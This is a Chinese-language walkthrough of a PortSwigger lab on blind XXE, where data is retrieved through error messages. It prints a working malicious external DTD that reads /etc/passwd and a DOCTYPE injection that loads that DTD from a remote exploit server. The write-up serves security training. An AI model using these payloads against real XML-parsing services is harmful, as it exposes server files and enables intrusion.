从业者-盲XXE-错误消息
# 实验室:通过错误消息 实现盲XXE数据检索
# 题目
此实验室具有一个 “Check stock(库存检查)” 功能,它可以解析 XML 输入,但不会显示结果。
若要解决实验室问题,请使用外部 DTD 触发错误消息,显示/etc/passwd
文件的内容。
本实验包含一个链接,指向另一个域中的漏洞利用服务器,你可以在该域中托管恶意 DTD 。
- name: 实验室-从业者
desc: 通过错误消息 实现盲XXE数据检索 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/xxe/blind/lab-xxe-with-data-retrieval-via-error-messages
bgColor: '#001350'
textColor: '#4cc1ff'
1
2
3
4
5
6
2
3
4
5
6
# 实操
点击 “ACCESS THE LAB” 进入实验室。
来到首页,点击任意商品下方的 “View details” 进入详情页。
在商品详情页的下方,可以看到一个库存检查功能。
启用浏览器代理,然后点击 “Check stock” 检查库存。
将请求数据包转发至 Repeater 功能模块。
尝试注入经典的 XML 外部实体,实体被禁止使用。
回到实验室页面,点击上方的 “Go to exploit server” 进入漏洞利用服务器。
服务器提供了一个托管功能,可以定义自己的 HTTP 响应信息。
重新定义响应内容,以 “参数实体” 的形式构造 XXE 攻击载荷。
该载荷会读取/etc/passwd
的文件内容,然后将其附加到路径/aaabbbccc/内容
当中,最后访问该路径。然而在文件系统上,该路径并不存在,所以将会触发一个错误。
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaabbbccc/%file;'>">
%eval;
%error;
1
2
3
4
2
3
4
定义好之后,点击 “Store” 保存。
访问服务器提供的 URL 链接,确认返回的内容无误。
回到 BurpSuite ,注入 XML 参数实体,并加载远程 DTD 文件。
<!DOCTYPE xyz [ <!ENTITY % said SYSTEM "https://漏洞利用服务器的域/exploit"> %said; ]>
1
成功触发路径错误 “文件没有找到” ,错误信息中包含了/etc/passwd
文件的内容。
回到浏览器页面,实验已完成。
编辑 (opens new window)